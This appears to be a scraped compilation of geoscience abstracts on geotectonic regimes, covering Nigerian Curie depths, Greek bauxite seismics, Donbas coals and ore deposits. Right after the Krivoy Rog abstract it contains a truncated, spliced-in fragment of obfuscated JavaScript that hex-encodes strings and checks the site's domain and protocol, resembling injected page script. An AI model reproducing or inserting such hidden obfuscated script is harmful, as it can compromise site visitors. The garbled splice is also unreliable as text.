Geotectonic Regime Research Articles

Curie Point Depth from Spectral Analysis of Magnetic Data in Potiskum and Environs, Yobe State, Nigeria

The area under investigation, is part of Chad basin of northeastern Nigeria, located between latitudes 11o00´ to 12o00´N and Longitudes 11o30´ to 12o30´E, with the objective to discover more about the thermal structure of the crust in the area, a research was carried out over Potiskum and surrounding regions in Yobe State, Nigeria to estimate the curie point depth, geothermal gradient, and heat flow using spectrum analysis and empirical formula of aeromagnetic data. To acquire the regional and residual data, polynomial fitting was applied to the high-resolution digital aeromagnetic data. In order to calculate the depth to the centroid and the depth to the top boundary, the upward continued residual data was processed to produce the upward continued data, that was subjected to spectral analysis. The depth to the centroid is between 10.50 and 11.50 kilometers, the depth to the top boundary is between 5.90 and 7.16 kilometers, the depth to the Curie point is between 14.84 and 16.83 kilometers, the geothermal gradient is between 34.462 and 39.083 oCkm-1, and the heat flow is between 86.135 and 97.707 mWm-2. The Curie point depth inferred from the study indicates that the crust is thinning due to thermal upwhirling of magma and is moderately decreasing toward areas of volcanic activity that occurred in the area during the Tertiary Period. The Geothermal gradient shows that the area is a moderate temperature zone, which could likely result in partial thermal maturation of sediments and hence probable oil generation as time goes on with an increase in temperature. In the research area, the geothermal gradient is proportional to the heat flow, whereas the connection between curie depth and heat flow is inversely linear. These findings are in line with the geotectonic regime that is now in effect in the research area. However, this analysis shows that the heat flow that was obtained from the study is sufficient to be utilized as a geothermal energy source.

Integrating earthquake-based passive seismic methods in mineral exploration: Case study from the Gerolekas bauxite mining area, Greece

As the global need for aluminum constantly rises, bauxite is considered to be a critical mineral, and the mining industry is in search of new and effective exploration solutions. In this context, we design and implement a purely earthquake-based passive seismic survey at the Gerolekas bauxite mining site in Greece. It is a very difficult exploration setting, characterized by rough topography, limited accessibility, and a very complex geotectonic regime. We gather a passive seismic data set consisting of four months of continuous recordings (May to August 2018) from 129 stand-alone 3C seismological stations. We then analyze this data set and extract 848 microearthquakes that will serve as sources for the application of local earthquake tomography (LET) and transient-source seismic interferometry (TSI) by autocorrelation. We apply LET to estimate the 3D P- and S-wave velocity models of the subsurface below the study area and TSI by autocorrelation to retrieve the zero-offset virtual reflection responses below each of the recording stations. The velocity models provide a relatively coarse image of a previously completely unexplored part of the mining concession, whereas the higher-resolution virtual reflection imaging illuminates in detail the different interfaces. We also reprocess three lines of legacy active seismic data that were shot in 2003, using the LET P-wave velocity model for depth migration, and confirm the improvement of seismic imaging. Finally, we evaluate the obtained results using well data and jointly interpret them, extracting useful information on the expected target depths and indicating that earthquake-based passive seismic techniques can be an innovative and environmentally friendly option for mineral exploration.

Influence of the geotectonic regime on property formation of coal in the northern edges of the Donetsk basin

Purpose. To determine the influence of the geotectonic regime during accumulation of carbon formation on development of coal-bed properties of the northern Donbas. Methodology. To perform the tasks set, a number of research methods were used which include petrographic, chemical and technological, facies and tectonic, computational, statistical and analytical, informational, chronological, genetic, comparative and other methods. Findings. The effect of the geotectonic regime on the formation of coal properties has been established. It is proved that the change in the number of maceral groups is of a regular nature. The reduction in the number of maceral groups of liptinith and irtinitis, in the light of the increase in the number of maceral wind group, is taking place in the direction of the growth of the total amplitude and average speed of the oscillating movements of the Earth’s crust during the accumulation of carbon formation. Originality. Coal formation is considered regarding a unified geodynamic perspective as an integral part of a complex set of natural processes that accompanied the development and interaction of deep structures (plates) of the lithosphere. The main attention is paid to the peculiarities of the composition and quality of coal formed under geodynamic conditions with different motion nature of the lithosphere. For the first time, comparative analysis of the coal-bearing formation of the middle Carboniferous period of the Old and Northern Donbas has been performed. Detailed petrographic and chemical-technological characteristics are given to the coal seams of the Northern Donbas. The peculiarities of the composition and quality of the coal of the deltaic-bog-marine formation have been determined for the first time compared to the coal of other formations of the Middle Carboniferous. Practical value. Regional (“provincial”) peculiarities of coal composition and quality of deltaic-bog-marine and alluvial-bog- marine formations of northern Donbas regions have been defined, which will allow substantiating the directions of its rational use. The proposed approach makes it possible to predict coal content as well as composition and quality of coal in the areas of distribution of bituminous coal. The expediency and prospects of adding the coal of northern Donbas to the fuel base of Ukraine are proven.

FORMATION CONDITIONS OF THE PALEOGENE COALS IN THE SULA-UDAISKE DEPOSIT OF THE DNIEPER-DONETS COAL-BEARING AREA

We studied brown coals in the Sula-Udaiske deposit, located within the Dnieper-Donets coal-bearing area, in the vast Sukhonosivsko-Romodanivsky compensation trough, which was formed as a result of the growth of the Logovikivska, Poznyakivska, Vysachkivska, Romodanivska, Hasenkivska salt-dome structures. The trough is filled with Paleogene- Neogene and Quaternary sediments. The Beretska formation of Paleogene is coal-bearing. It contains five coal seams, of which the most regular seams of working height are the Lower, which lies at the base of the coal-bearing strata, and the Upper, which completes the section. The brown coal deposit is confined to the deepest part of the trough and wedges out to its periphery. It is shown that the Paleogene brown coal formation is a multifacial structure that constitutes a cycle of sedimentation, one of the facies of which is coal. The composition of the sedimentation cycle was determined by the geotectonic regime, which defined the paleogeographic conditions, the rate of subsidence of the wetland, the degree of watering and flow of peatlands, and the scale of microbial activity. According to the groups of microcomponents quantitative ratio, brown coal is divided into petrographic types alternating in the section of the seam due to the cyclical change in the conditions of peat accumulation. Peat cyclicity is determined by different ratios in separate interlayers of different types of peat-forming plants, by heterogeneity of their remains and unequal degree of preservation of plant material. The predominant types of coal are gelites, lipoid-gelites and lipoid-gelitites, which make up 85% of the coal mine. In terms of quality indicators, the studied coals correspond to brown coals of a low coalification degree. It was found that the peat accumulation during the formation of working height layers occurred in the coastal sea lowland conditions, as well as in the conditions of overgrown lakes and flooded forest swamp.

The contribution of an urban gravity survey to the determinable perspective of Athens city (Greece) underground structure

An urban gravity survey with more than 1120 measurements was carried out in order to adumbrate the deeper subsurface of Athens city basin. The aim was to gather quantitative information of the subsurface structure derived from the acquisition of gravity measurements. At first, a gravity base network has been established for the data collection. The standard data reduction has been carried out along with an additional Building Correction that has been calculated due to the urban characteristics. Subsequently, the residual anomaly was isolated with the contribution of the Fourier filters. The Euler deconvolution has been applied, with two different techniques, providing depth solutions for the residual maps. Based on these maps, we managed to retrieve quantitative information for the depths of anomalous sources, ranging between 500 and 3760 m. Moreover, unconstrained three-dimensional density models of the area have been constructed in order to obtain a good image of the subsurface, up to depths of 4500 m. For each three-dimensional density model, we provide a couple of images; one illustrating only the structures of lower densities and one other only with the structures of higher densities, in an effort to delineate better the tectonic structures. Finally, two geophysical-geological profiles (2.75D) have been constructed, along which the geotectonic regime of the subsurface seems to be adumbrated in a better way. Major known tectonic structures of Athens basin have been identified beneath the surface.

GEODYNAMICS OF DONETS BASIN FORMATION

The proposed model is based on the mobile concept of tectonics, according to which the modern structure of the basin is the result of the joint influence of geodynamic processes and forces caused by the movement and interaction of lithosphere plates. Alongwith the known planetary processes, the formation of Donbass, located on the southern edge of the Eastern European Plate (SEP), was influenced by convergent processes occurring on its southern edge and the membrane forces created by moving the plate alongthe meridian.It is established that sedimentation, volcanism, inversion of the geotectonic regime, paleogeotetemperature regime, which caused a high degree of coal metamorphism in Donbass, are determined by convergent processes that took place on the southern edge of the EPS in the Phanerozoic.

Mesozoic Northward Subduction Along the SE Asian Continental Margin Inferred from Magmatic Records in the South China Sea

During the Mesozoic, Southeast (SE) Asia (including South China and the South China Sea (SCS)) was located in a transitional area between the Tethyan and Pacific geotectonic regimes. However, it is unclear whether geodynamic processes in the SE Asian continental margin were controlled by Tethyan or paleo-Pacific Ocean subduction. Herein, we report ~124 Ma adakitic granodiorites and Nb-enriched basalts from the Xiaozhenzhu Seamount of the SCS. Granodiorites have relatively high Sr/Y (34.7–37.0) and (La/Yb)N (13.8–15.7) ratios, as well as low Y (9.67–9.90 μg/g) and Yb (0.93–0.94 μg/g) concentrations, typical of adakites. Their Sr/Y and (La/Yb)N values coupled with their relatively low initial 87Sr/86Sr ratios (0.70541–0.70551), relatively high K2O contents (3.31–3.38 wt%), high Th/La ratios (0.33–0.40), negative εNd(t) values (−3.62 to −3.52), and their variable zircon εHf(t) values (−3.8 to +5.2) indicate that these rocks were formed by melting of subducted oceanic crust and sediments. The Nb-enriched basalts show enrichment in high field strength elements (HFSE) and have εNd(t) values of +2.90 to +2.93, as well as relatively low initial 87Sr/86Sr ratios of 0.70341–0.70343, demonstrating that they were derived from a depleted-mantle (DM) source metasomatized by silicate magmas originating from melting of a subducted oceanic lithospheric slab. By combining our findings with data from other Late Mesozoic arc-related magmatic rocks and adakites from the broader study area, we propose a geotectonic model involving subduction of young oceanic lithosphere during the Late Jurassic and northward subduction of the proto-South China Sea (PSCS) along the SE Asian continental margin during the Early Cretaceous. This conceptual model better explains the two-period Mesozoic magmatism, commonly reported for the SE Asian continental margin.

A New Porphyry Mo Mineralization at Aisymi-Leptokarya, South-Eastern Rhodope, North-East Greece: Geological and Mineralogical Constraints

A new porphyry Mo prospect has been discovered in the Aisymi-Leptokarya area, along the southern margin of the Byala Reka–Kechros metamorphic dome, south-eastern (SE) Rhodope metallogenic zone. The study area is dominated by an Oligocene felsic dike complex, which hosts the porphyry Mo mineralization and intrudes into upper Eocene sandstones-marls and the Leptokarya monzodiorite pluton. The Aisymi-Leptokarya felsic dike complex displays a rhyodacitic to dacitic composition with post-collisional affinities. The porphyry Mo mineralization occurs in the form of porphyry-style quartz stockworks in the felsic dike complex associated with potassic alteration characterized by hydrothermal K-feldspar. The ore minerals consist mainly of pyrite, molybdenite, kesterite, bismuthinite and galena within both the stockwork and the rock matrix. Bulk ore analyses indicate enrichment in Mo (up to 215 ppm), Se (up to 29 ppm), Bi (up to 8 ppm) and Sn (up to 14 ppm) in the porphyry quartz veins. Late-stage, north-east (NE-) and north-west (NW-)trending milky quartz intermediate-sulfidation epithermal veins with base metals, crosscut previous vein generations and are characterized by Ag, Sn and Te anomalies. The Aisymi-Leptokarya porphyry Mo prospect is set in a back-arc geotectonic regime and shares similarities to other post-subduction porphyry molybdenum deposits elsewhere.

Comments on the geochemistry of rare-earth elements (La, Ce, Sm, Eu, Tb, Yb, Lu) with examples from coals of north Asia (Siberia, Russian far East, North China, Mongolia, and Kazakhstan)

The geochemistry of the REE (La, Ce, Sm, Eu, Tb, Yb, and Lu) is reviewed with supporting data from coals of North Asia. The 7189 samples from North Asia included in this study represent all coal ranks (lignites, subbituminous coals, bituminous coals and anthracites) as well as coals formed under different geotectonic regimes and in different sedimentary conditions. These coals are characterized by higher contents of the REE as compared to the coal Clarke. The distribution characteristics and accumulations of the REE have been studied in several coal deposits and basins. Within some basins with the near-background average contents of the REE isolated coal beds enriched in lanthanides have been observed. In coal basins and deposits the relative enrichment in the lanthanides are observed in the fields or zones adjacent to the source area of the terrigenous material. Accumulation of high REE contents in coal deposits can be attributed to the presence of rocks in the source area containing high concentrations of REE and also alkaline or acidic volcanic ash contemporaneous with the peat accumulation in the basin. Transformation of volcanic ashes under the aggressive hydro-environment of a peat bog results in the mobilization and redeposition of the REE adjacent to the altered volcanic ashes (tonsteins) with the formation of high concentrations of REE in the coal beds. The formation of the REE anomalies may also be related to hydrothermal processes. The modes of occurrence of the REE change during the coalification process. Brown coals with a low degree of coalification are dominated by the organic modes of occurrence of the REE, whereas in hard coals and anthracites authigenic mineral forms dominate.

Petrology, geochemistry and stable isotope studies of the Miocene igneous rocks and related sulphide mineralisation of Oued Amizour (NE Algeria)

The Oued Amizour granitoids of North Africa were studied in order to assess the role of magma processes in the formation of the large Zn-deposit in the region. Access to material from a ∼800 m drillhole cutting the entire igneous succession greatly facilitated the investigation. The rocks reveal, from the top to the bottom, two distinct lithologies: volcanic, mainly pyroclastic rocks and sub-volcanic microgranitic – plutonic granodioritic rocks. Both lithologies were subject to hydrothermal alteration. The boundary between the two lithologies is marked by a massive, ∼10 m thick anhydrite layer. The geochemistry of these rocks shows that they are intermediate to felsic in composition and exhibit high-K to shoshonitic calc-alkaline features with I-type signature. The negative Eu, Sr and Nb anomalies and the high LILE and LREE enrichment observed in the whole igneous suite indicate that the various volcanic and plutonic rocks are genetically related. The granitoids are considered to have formed under post-collisional geotectonic regime during the Miocene, similar to those described in the Alpine Belt of northern Africa.The main sulphide mineralisation is dominated by sphalerite with rare marcasite, melnikovite, galena and minor but ubiquitous pyrite. The sphalerite ore body of about 20–30 m thick is hosted by hydrothermally altered andesite breccias and volcanic tuff, between the anhydrite layer at the base and the volcanic pile at the top. Replacement, colloform and open space filling are the main ore texture patterns which indicate hydrothermal processes throughout successive percolation phases.δ34S of sulphides (sphalerite, pyrite and chalcopyrite) vary between −7.2‰ and +4.5‰ (n = 22; mean = −1.3‰), suggesting that magmatic fluids have played a major role in the formation of the Oued Amizour Zn-deposit. However, δ34S of sulphates (anhydrite and gypsum) which are isotopically heavier ranging between +13.2‰ and +20.6‰(n = 10; mean = +16.3‰), likely reflect mixing between Miocene seawater sulphate and magmatic sulphur. Fluid inclusion microthermometric measurements on anhydrite and gangue calcite yield a mean temperature of ∼200 °C and salinity between 22.3 and 26.6% eq. NaCl. Calcite δ18OV-SMOW varies between +11.2 and +20.2‰ (n = 12, mean = +16.7‰) and δ13CV-PDB varies between −3.7 and −11.0‰ (mean = −7.8‰). These results confirm the magmatic origin of the mineralising fluids, with a marked contribution of seawater, for precipitation of the Oued Amizour Zn mineralisation. Low δ13CV-PDB could, however, be attributed to the contribution of carbon from unconsolidated mudstones and/or magmatic carbon. The observed data on the Oued Amizour Zn deposit show that the mineralisation is part of VHMS group with a Kuroko-type signature.

GEOTECTONIC REGIME OF FORMATION OF THE COAL-BEARING DEPOSITS IN THE WESTERN DONETS BASIN (UKRAINE)

The geotectonic regime of the Western Donbass determined the conditions for peat accumulation, changes in phytocoenoses, formation of petrographic composition, and the nature of the transformation of organic matter, which affected the quality of coal. Hercynian tectogenesis determined the geothermal conditions of the region and the degree of coalification of organic matter, and activation of the hydrogeological regime as an additional factor of desalting of coals. In the Early Carboniferous on the swampy lagoon coast of the shallow sea, grassy vegetation was formed, which was the initial material for coals with a low and medium content of vitrinite. In the Middle Carboniferous, the tree-like vegetation grew on the coastal-marine lowland, from which coals with a high and moderately high content of vitrinite were formed. The thickness of coal-bearing strata and the degree of coalification (metamorphism) increases in the eastern direction. A characteristic feature of coal is salinity as a result of the influence of sea water on the organic matter during peat formation. Salinity of coals decreases with increasing degree of coalification. Hercynian tectogenesis led to the erosion of Upper Paleozoic deposits with a thickness of about 3 km.

Interpretation of aeromagnetic data using GIS to evaluate the geotectonic regime of the Sabinas Basin

The study present the use of Geographic Information System (GIS) to assess the geotectonic regimen of the Sabinas Basin. Initially, the GIS database was designed using geological and geophysical information (total magnetic field reduced to the pole). Subsequently, 2D models of the basin were obtained along 4 profiles running on a north-south direction. The implementation of GIS enables a geological-geophysical interpretation generating various thematic maps that overlap the magnetic map during interpretation. The analysis of overlapping maps enables the identification of areas with different geotectonic regimes in the Sabinas Basin, as well as the relationship between these environments and mineralization. The qualitative and quantitative interpretation of the aeromagnetic data obtained for the total magnetic field reduced to the pole delineate uplifted basement areas as well as shallower blocks within them. This paper presents the location of both the basin´s deepest zones and its probable faults, which can be linked to the block boundaries. The faults zones and block boundaries correspond to the main mineral deposits found in the basin. Finally, the geotectonic regime of some sectors of the basin is detailed in order to reaffirm the results obtained by the interpretation of aeromagnetic data.

EARTHQUAKES AND PREVENTIVE MEASURES

The most important natural hazard in Greece is earthquake. The earthquake phenomenon can be explained using the theory of Plate Tectonics. Greece lies in the middle of the collision between two major tectonic plates, the Eurasian and the African, resulting in a very fragmented geotectonic regime. From the point of energy released, half of the European seismic energy is released within the Greek territory. Thus, the ways and means of reducing the seismic risk, that is the consequences from an earthquake, is for Greece of vital importance. The seismic risk is the convolution of the seismic hazard and the vulnerability of the specific area. From those factors, the vulnerability, which expresses the weakness or the sensitivity of the system and the value at risk during an earthquake, is the only parameter that can and should be minimized. The accomplishment of such an important task requires a combination of top-down and bottom-up approaches. In terms of the top-down approach, the Earthquake Planning and Protection Organisation’s, (E.P.P.O.), main target is to plan the national policy for earthquake protection, as well as to coordinate the public and private resources for the implementation of this policy, through issuing regulations, guidelines for emergency situation or for strengthening existing buildings including monuments of cultural heritage value e.t.c. EPPO also has a strong educational/training focus, targeting inter alia schools and hospitals. Of importance are also bottom up approaches, often at the personal level, which include useful measures concerning the proper behaviour before, during and after a destructive earthquake. These approaches are also part of the EPPO mandate and focus.

INFLUENCE OF GEOTECTONIC CONDITIONS ON THE COAL-BEARING FORMATIONS OF LVOV AND PRE-DOBROGEA DEPRESSIONS

Geotectonic conditions of the development of Lvov and Pre-Dobrogea depressions located in the south-western part of the East European platform, at different orogeny stages are considered. The influence of geotectonic regime on conditions of peat accumulation and the formation of coal-bearing formations with certain genetic traits, manifested, in particular, in the transformation of organic matter and in the formation of real-petrographic composition of coals is analyzed. The main coalbearing region is confined to the Lower and Middle Carboniferous terrigenous strata. On the Late Visean-Late Serpukhovian stage within the Lvov and Pre-Dobrogea Paleozoic depressions in coastal marshlands of shallow sea the bog-marine coal-bearing subformation formed mainly of clarain composition of the reduced and transition genetic types. On the Late Serpukhovian-Late Bashkirian stage in the Lvov depression in swampy coastal lowlands located on the lagoon-delta shallow sea coast, the coals of the top coal-bearing subformation mostly of duroclarain composition, of transition and low-reduced genetic types were formed. The conditions of formation of Carboniferous coal-bearing formation in both regions allow us to consider it as paralic. Coals with signs of salinity are recorded in coal sediments of both regions. The coals of high sodium content are also found in paralic formations of the Middle Miocene of Nizhneprutsky bench adjacent to the south-west part of Pre-Dobrogea depression. Data analysis of vitrinite thermometry has shown that according to the level of geodynamic and geothermal activity during the formation of the Paleozoic sedimentary cover the Lvov Paleozoic depression characterized by normal geothermy. Pre-Dobrogea Paleozoic depression was classified as hyperthermal one.

RIFTOGENIC AND PROTOPLATFORM FORMATIONS IN THE EARLY PRECAMBRIAN OF KRIVOY ROG BASIN OF THE UKRAINIAN SHIELD

The article substantiates attributing the early Precambrian metasedimentary complexes from Krivoy Rog basin to formations and formation series of platform and platform-orogenic classes and distinguishing them from geosynclinal formations. Metasedimentary formations were typified basing on the paleo-geographic lithofacies approach. Three types of formation series were identified which consecutively overlay each other upward the profile and correspond to different geotectonic regimes – riftogenic, protoplatform and epiplatform activation. The general vertical sequence of formations is in agreement with the riftogenic-protoplatform concept of evolution of Krivoy Rog basin in the early Precambrian.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

제주도 우도 화산섬의 서브알칼리 현무암의 지화학적 특징에 대하여

Korea Institute of Geoscience and Mineral ResourcesUdo is the site of a short-lived monogenetic submarine volcanic vent which builts basaltic clastic deposits belowsea level, by early Surtseyan-type explosive eruption and later effusive lava eruptions. Mineral assemblage, majorand trace element chemistry indicate that the Someori sub-alkaline lava flows were related to the WPTB(withinplate tholeiitic basalt) rather than IAT(island-arc tholeiite) and that the geotectonic regime of Korean Peninsula wentaway from the subduction zone after the Later Miocene.

New isotopic and geochemical data from the Palaeoproterozoic Pechenga Greenstone Belt, NW Russia: Implication for basin development and duration of the volcanism

The North Pechenga Group of the Pechenga Greenstone Belt comprises a thick supracrustal succession developed within a time interval of ca. 500Ma in the early part of the Palaeoproterozoic Era. It records several important global events leading to the onset of modern-style Earth system, but the temporal evolution of the belt is still insufficiently established. New Nd isotope data clearly indicate an abrupt change from a strong crustal signature in the lower two volcanic units to a depleted-mantle like signature in the upper two volcanic units, which conforms with the coeval shift of the volcanism from subaerial to submarine, indicating a significant thinning of the lithosphere due to continental rifting. The timing of the change in the geotectonic regime can be bracketed between 2058±6Ma (U-Pb data) and 2018±54Ma (Sm-Nd data).In situ ion microprobe analyses of zircon grains from a thin felsic tuff member in the upper part of the succession (Pilgujärvi Volcanic Formation) produced an age of 1988±3Ma, which is within error the same as has been reported previously for the ferropicritic magmatism that produced the Pechenga Ni-Cu ores. It is concluded that the upper 3-km-thick volcanic pile dominated by tholeiitic basalts and minor ferropicrites was generated within a short time span unresolvable with current geochronological tools. Geochemical and isotopic data suggest that the felsic tuffs were generated from a ferropicritic parental magma via extensive fractional crystallisation, and the presence of gneiss xenoliths in the tuffs reveals that this happened in a magma chamber located in the underlying Archaean basement. Thus, although the mafic subaqueous volcanism of the upper part of the belt does not bear Nd isotopic or trace element evidence for contamination with ancient crustal material, the rifting of the basement did not yet proceed to a total break-up of the Archaean craton.

Pb Ages of Detrital Zircons In Relation To Geodynamic Evolution: Paleozoic of the Northern Gemericum (Western Carpathians, Slovakia)

Abstract New U-Pb sensitive high-resolution ion microprobe (SHRIMP) detrital-zircon ages from early Paleozoic to Permian siliciclastic metasediments are used to constrain provenance and paleogeographic affinity of the Northern Gemericum Unit (NGU) in the Western Carpathians (Central Europe). The samples span the time period from ∼ 480 Ma to ∼ 260 Ma and permit the recognition of provenance changes that reflect the realm's geodynamic evolution. The detrital-zircon age spectrum of one early Paleozoic sample resembles the Neoproterozoic and Archean ages of the Cadomian belt (550–650 Ma) and the West African craton provenances (1.8–2.7 Ga). The origin of the early Paleozoic NGU (Rakovec) basin is inferred to be the rifting as followed by back-arc spreading which occurred at the Cambrian–Ordovician boundary (ca. 480 Ma), as continental pieces started to split off from the Gondwanan margin. The deformation and closure of the early Paleozoic basin is coincident with the 355 Ma peak of the post-Tournaisian detrital-zircon age assemblage. The detrital-zircon age spectra of two post-Mississippian and two post-Artinskian samples indicate high exhumation and erosion rates in the Variscan collision belt. Pennsylvanian–Permian sedimentary troughs, formed between 318 and 275 Ma, record contemporaneous unroofing of the Variscan collision belt and magmatic activity during post-orogenic transtensional tectonics. Zircon age spectra reflect these three Paleozoic (480–419 Ma, 340–380 Ma, 320–275 Ma) tectono-thermal events and permit the recognition of provenances, both of which supporting the interpreted changes in geotectonic regime from Ordovician rifting to Variscan compression and the subsequent extension. The zircon age data constrain the provenance linkage of the low-grade NGU basement to the Cadomian fragments within the West-European Variscides.

Palaeomagnetic evidence for the age of the Cumbrian and Manx hematite ore deposits: implications for the origin of hematite mineralization at the margins of the East Irish Sea Basin, UK

Examples of epigenetic hematite mineralization located at the margins of the East Irish Sea Basin have been sampled for palaeomagnetic investigation to establish the timing of ore formation. Samples collected from 10 sites in Cumbria are dominated by hematite of near-pure composition and characterized by dual polarity and, in part, dual component magnetizations that yield palaeopoles (nine sites) between 50°N, 130°E and 50°N, 150°E. In contrast, samples recovered from seven sites on the Isle of Man have more varied mineralogical compositions that include ferromagnets with lower unblocking temperatures. Manx hematite mineralization also exhibits dual polarity, but magnetizations yield steeper inclinations with palaeopoles lying between 55°N, 130°E and 70°N, 150°E. Steeper directions probably reflect minor tilting of the Manx block following hematite emplacement. Correlation of poles with the European apparent polar wander path indicates that these ore deposits formed during the Middle Triassic. Results show that hematite mineralization sited at the margins of the East Irish Sea Basin is essentially contemporaneous and establishes, for the first time, an underlying temporal relationship between these geographically dispersed ore bodies. Dating places the mineralization within a broader extensional geotectonic regime associated with the early rifting of Pangaea in the North Atlantic. The context implies a causal link between crustal extension, development of ore-forming fluids within the evolving East Irish Sea Basin, and subsequent migration of fluids to basin margins where iron was precipitated as hematite. Supplementary materials: Locations and details of palaeomagnetic sample sites and a tabulation of selected reference palaeomagnetic poles defining the Triassic and Early Jurassic segment of the apparent polar wander path for the European sector of the Eurasian plate are available at www.geolsoc.org.uk/SUP18691 .

The geochemistry of host arc volcanic rocks to the Co–O epithermal gold deposit, Eastern Mindanao, Philippines

Mindanao is the second largest island of the Philippines and is located in the southern part of the archipelago. It comprises the suture zone between the Eurasian and the Philippine plate, which is displayed in the Philippine Mobile Belt. Eastern Mindanao is part of the Philippine Mobile Belt and outcropping rocks are mainly Eocene to Pliocene in age related to episodes of arc volcanism alternating with sedimentation.New high-precision elemental analysis of the Oligocene magma series, hosting the Co-O epithermal Au deposit, which represents an arc segment in the central part of Eastern Mindanao, revealed dominantly calc-alkaline rocks ranging in composition between basalt and dacites. Major element trends (MgO vs. TiO2 and Fe2O3) are comparable to other magmas in Central and Eastern Mindanao as well as other SW Pacific Islands such as Borneo. Rare earth and trace element distribution patterns display typical island arc signatures highlighted by the conjunction of LILE-enrichment with troughs at Nb, Ta, and Ti. Ratios of Zr/Nb in basalts vary between 17 and 39, signifying a depleted subarc mantle wedge comparable to the range of MORB, and other Indonesian island arc basalts. In basalts, Nb/Ta and Zr/Sm ratios are 12–37 and 14–27 respectively indicative of deep melts of rutile-eclogite subducted slab, as well as fluids, infiltrating the mantle wedge source of basalts.Moderate large ion lithophile element contents and low Th/La and Th/Ce ratios suggest no significant slab-derived components such as sediment or crustal fragments. The comparatively low Ce and Yb values in basalts, but also andesites and dacites, are consistent with a thin arc crust related to an intraoceanic convergent margin setting. This is further supported by Nb contents in basalts that range between 1 and 3ppm and are within the range of modern oceanic convergent margin basalts. The range of HREE fractionation signifies that basaltic melts separated at deeper levels of the subarc wedge, possibly between the forearc and arc axis, followed by a calc-alkaline convergent margin magma suite involving shallower crustal AFC near the central arc sector.The analysed Oligocene arc segment is related to a potentially steep to intermediate dipping subduction zone in an extensional to neutral geotectonic regime. The large subduction accretion complex of the Philippine Mobile Belt provides an ideal setting for significant metal deposits during its entire evolution. This is evidenced in the Eastern Mindanao Ridge, which hosts substantial porphyry Cu and epithermal Au deposits.